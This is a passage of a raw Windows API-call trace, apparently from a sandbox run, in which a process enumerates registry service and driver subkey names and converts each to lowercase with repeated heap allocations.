RegCloseKey (hKey=0x14c) returned 0x0 [0253.612] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.612] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.612] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1df0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.612] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.613] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1df0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.613] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.613] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.614] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.614] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.614] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.614] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1df0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.615] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.615] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.615] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.616] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.616] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.616] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.616] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.617] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.617] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.617] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 